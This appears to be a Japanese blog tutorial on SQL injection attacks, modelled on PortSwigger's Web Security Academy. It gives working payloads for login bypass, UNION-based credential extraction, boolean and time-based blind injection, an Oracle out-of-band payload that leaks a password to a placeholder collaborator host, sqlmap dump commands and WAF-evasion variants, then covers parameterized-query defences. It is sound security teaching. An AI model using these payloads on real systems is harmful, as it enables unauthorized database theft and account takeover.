Chuyển đến nội dung chính
友田 陽大
実践Webハッキング技法
セキュリティ
ホワイトハッカー
SQLインジェクション
脆弱性診断
Webセキュリティ

SQLインジェクション攻撃の完全攻略【2026】UNION・ブラインド・時間ベース・sqlmap・WAF回避 — 公式ドキュメント忠実版

SQLインジェクション(SQLi)の攻撃手法を、PortSwigger Web Security Academyに忠実に深掘り。隠しデータの取得、認証ロジックの破壊、UNIONによる横展開、列数とデータ型の特定、ブラインドSQLi(ブール条件・時間ベース・OAST)、sqlmapの実践、WAF回避の基礎、そしてパラメータ化クエリによる根本対策までを、自分のラボ限定の実ペイロードで解説します。

Published
Reading time
8 min read
Author
友田 陽大
Chia sẻ

OWASP Top 10:2025 でインジェクションが常に上位を占め続ける理由はシンプルです。刺さると影響が壊滅的だから。SQLインジェクション(SQLi)は、データベース全体の窃取から認証バイパス、時にサーバー乗っ取りまで至ります。本記事は、その攻撃手法を PortSwigger Web Security Academy に忠実に、しかし手を動かせる粒度で解説します。

このクラスタの絶対の前提: 以下の全ペイロードは、合法ラボ(localhost限定のOWASP Juice Shop / DVWA)または書面で許可されたスコープでのみ実行します。無許可の対象への送信は、それ自体が攻撃であり不正アクセス禁止法等に直結します(→ 法律ガイド)。攻撃クラス全体の地図は ピラー を参照。


1. SQLiの本質 — データがクエリ構造に混入する

アプリは、ユーザー入力を文字列連結でSQLに埋め込むと脆弱になります。

# 脆弱な組み立て(概念)
"SELECT * FROM products WHERE category = '" + input + "' AND released = 1"

ここで inputGifts ではなく ' を入れると、クエリ構文が壊れます。

SELECT * FROM products WHERE category = ''' AND released = 1   -- 構文エラー

この「エラーや挙動変化」こそが検出の第一歩です。PortSwigger が示す通り、'--(コメント)・OR 1=1・時間遅延・OASTペイロードを順に試して、入力がクエリに混入していないかを探ります。


2. 認証ロジックの破壊(subverting application logic)

最も古典的かつ強烈なのが、ログインの認証バイパスです。ログインクエリが概念的にこうだとします。

SELECT * FROM users WHERE username = 'wiener' AND password = 'secret'

usernameadministrator'-- を入れると、以降がコメントアウトされ、パスワード照合が消えます。

SELECT * FROM users WHERE username = 'administrator'--' AND password = ''

パスワードを知らなくても administrator としてログインできてしまう。これが「アプリのロジックを覆す」典型です。


3. UNIONベース攻撃 — 他テーブルへ横展開する

結果がレスポンスに表示される場合、UNION SELECT別テーブルのデータを相乗りさせられます。PortSwigger の手順は機械的です。

3.1 列数を特定する

UNIONは前後のクエリで列数が一致しないと失敗します。まず列数を割り出します。

-- 方法A: ORDER BY をインクリメント。エラーになる手前が列数
' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 3--   -- ここでエラー → 列数は 2

-- 方法B: NULL を増やしながら UNION SELECT。成功した個数が列数
' UNION SELECT NULL--
' UNION SELECT NULL,NULL--   -- 成功 → 列数は 2

3.2 文字列を表示できる列を見つける

抜いたデータを画面に出すには、文字列を受けられる列が要ります。

' UNION SELECT 'a',NULL--   -- 'a' が表示されれば1列目は文字列OK
' UNION SELECT NULL,'a'--   -- 2列目で試す

3.3 DBのメタデータを列挙し、資格情報を抜く

多くのDBは information_schema でスキーマを自己記述します。

-- テーブル名を列挙
' UNION SELECT table_name, NULL FROM information_schema.tables--
-- 狙ったテーブルの列名を列挙
' UNION SELECT column_name, NULL FROM information_schema.columns WHERE table_name='users'--
-- 資格情報を抜く(複数列を連結して1列に収める)
' UNION SELECT username || '~' || password, NULL FROM users--

DBごとの方言に注意: 文字列連結は Oracle/PostgreSQL が ||、MySQL は CONCAT()。コメントは --(後ろにスペース)か #(MySQL)。バージョン取得は SELECT @@version(MySQL/MSSQL)/SELECT version()(PostgreSQL)/SELECT banner FROM v$version(Oracle)。まず「examining the database」でDB種別を確定させると、以降が一気に楽になります。


4. ブラインドSQLi — 結果が見えなくても抜く

結果がレスポンスに出ない(が、挙動は変わる)場合がブラインドSQLiです。PortSwigger は4系統を挙げます。

4.1 ブール条件ベース

「条件が真かどうか」で表示が変わることを利用し、1ビットずつ推測します。

-- パスワード1文字目が 's' か?を真偽で判定
xyz' AND SUBSTRING((SELECT password FROM users WHERE username='administrator'),1,1)='s'--
-- 「Welcome back」が出れば真、出なければ偽。文字を総当たりして1文字ずつ確定

4.2 時間ベース(time-delay)

表示すら変わらないなら、応答時間を信号にします。

-- PostgreSQL: 条件が真なら10秒待つ
'%3BSELECT CASE WHEN (1=1) THEN pg_sleep(10) ELSE pg_sleep(0) END--
-- MySQL: 条件が真なら SLEEP(10)
' AND IF(1=1, SLEEP(10), 0)--
-- MSSQL: WAITFOR DELAY
'; IF (1=1) WAITFOR DELAY '0:0:10'--

応答が10秒遅れたら条件は真。**「遅い=1、速い=0」**で情報を引き出します。

4.3 OAST(アウトオブバンド)

DBに外部への通信を起こさせ、その着信自体を信号にします(Burp Collaborator が定番)。ファイアウォールでHTTP応答が見えない環境でも、DNS/HTTPの着信は抜けることが多く、強力です。

-- Oracle: 抽出したデータをサブドメインに載せてDNS解決させる(概念)
' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0"?><!DOCTYPE x [<!ENTITY % p SYSTEM "http://'||(SELECT password FROM users WHERE rownum=1)||'.<collaborator-id>.oastify.com/">%p;]>'),'/x') FROM dual--

5. sqlmap — 自動化(許可スコープ限定)

手作業の手筋を理解したら、sqlmap で自動化します。ただし対象は自分の資産・許可スコープのみ。

# Burpで保存したリクエストを食わせる(Cookie/認証込みで再現性が高い)
sqlmap -r request.txt --batch \
  --level=2 --risk=2 \           # 試すペイロードの深さ/危険度(上げるほど侵襲的)
  --technique=BEUST \            # B:ブール E:エラー U:UNION S:スタック T:時間
  --dbs                          # まずDB一覧を列挙

# 狙ったテーブルを抜く
sqlmap -r request.txt --batch -D shop -T users --dump

--risk/--level を上げると検出力は上がりますが、侵襲性も上がります(データ更新系を試す等)。本番に近い許可スコープでは、依頼者と影響範囲を合意してから上げること。自動化ツールほど、向ける先の正しさが致命的になります。


6. WAF回避の基礎 — “設計の代わりにならない”ことの証明

WAF(Web Application Firewall)はパターンで既知ペイロードを弾きますが、等価変換で回避され得ます。これは「WAFは多層防御の一枚であって、根本対策ではない」ことの裏返しです。

-- 代表的な等価変換(教育目的・自分のlab限定)
'/**/UNION/**/SELECT/**/...   -- 空白をコメントに置換
'/*!50000UNION*/ SELECT ...   -- MySQLのバージョン付きコメント
%55NION %53ELECT              -- URLエンコード/大小混在
' UNiOn sElEcT ...            -- 大文字小文字の混在

だからこそ、WAFに頼り切るのではなく、後述のパラメータ化クエリでSQLiを「そもそも成立させない」ことが本筋です。


7. 【守る側】根本対策 — パラメータ化クエリ一択

ここからが、診断の価値を最大化するパートです。攻撃を理解した今、設計でどう潰すか。

PortSwigger の結論は明快で、**パラメータ化クエリ(プレースホルダ)**です。入力を「コード」ではなく常に「データ」として扱わせます。

// ❌ 脆弱:文字列連結(入力がクエリ構造に混入する)
const rows = await db.query(
  `SELECT * FROM products WHERE category = '${category}'`
);

// ✅ 安全:プレースホルダ。値は常に「データ」として束縛される
const rows = await db.query(
  "SELECT * FROM products WHERE category = $1",
  [category]
);

ただし、プレースホルダで守れないコンテキストがあります。テーブル名・列名・ORDER BY 句は値ではなく識別子なので束縛できません。ここは許可リストで守ります。

// ORDER BY の列名はバインドできない → 許可リストで検証(DRYな単一の真実源)
const SORTABLE = { name: "name", price: "price", created: "created_at" } as const;

function sortColumn(input: string): string {
  const col = SORTABLE[input as keyof typeof SORTABLE];
  if (!col) throw new Error("invalid sort column"); // 想定外は即拒否
  return col;
}
  • ORM/クエリビルダ(Prisma・Drizzle・Kysely)は既定でパラメータ化するため、生SQLの文字列連結を避けるだけで大半を防げます。ただし $queryRawUnsafe 等のエスケープハッチは要注意。
  • Supabase/PostgREST + RPC に特化した予防策は Supabase × PostgreSQL のSQLi対策 で詳説しています。
  • 多層防御:最小権限のDBユーザー(参照系は読み取り専用ロール)、WAF、エラーメッセージの抑制を重ねる。

8. まとめ

  • 検出' を入れてエラー/挙動変化を観察。文字列・数値・ORDER BY・UNIONの各コンテキストで。
  • UNION:列数特定 → 文字列列の発見 → information_schema 列挙 → 資格情報抽出。
  • ブラインド:ブール条件・時間ベース(SLEEP/pg_sleep)・OASTで1ビットずつ。
  • sqlmap:自動化は強力。だが対象は自分の資産・許可スコープのみ。
  • 根本対策:パラメータ化クエリ一択。識別子は許可リスト。WAFは一枚であり設計の代替にあらず。

次は、クライアントサイドの王者 XSS攻撃の完全攻略 へ。注入クラスの理解が、そのまま防御設計の解像度を上げます。


参考(公式一次情報)

友田

友田 陽大

Người phát triển sản phẩm đoạt Giải thưởng Bộ trưởng (METI). Với TypeScript + Python + AWS, tôi một mình triển khai trọn gói SaaS, chuyển đổi số công nghiệp và AI tạo sinh (RAG) sẵn sàng cho production — từ phân tích yêu cầu đến hạ tầng và vận hành.

What if this attack were reproduced on your app?

Web-app vulnerability assessment & penetration testing

I actually reproduce and assess the SQLi, XSS, SSRF, JWT, auth, and SSTI attacks covered here on your app, and take it through from design to fix. Only those who know the attacker's moves can preempt where it breaks at the design stage. You're welcome to visualize the current state with the free OSS first.

Nhận cả dự án trọn gói lẫn vai trò cố vấn kỹ thuật. Hãy bắt đầu bằng buổi tư vấn miễn phí 30 phút.

最短ルート:カレンダーから直接予約

相談内容が固まっている方は、フォーム送信よりその場で日程を確定する方がスムーズです。下記から空き時間をお選びください。

  • 30分のオンライン無料相談
  • Google Meet / Zoom / Microsoft Teams
  • NDA 商談前締結可・無理な営業はいたしません
無料相談の空き枠を予約する

Cũng đáng đọc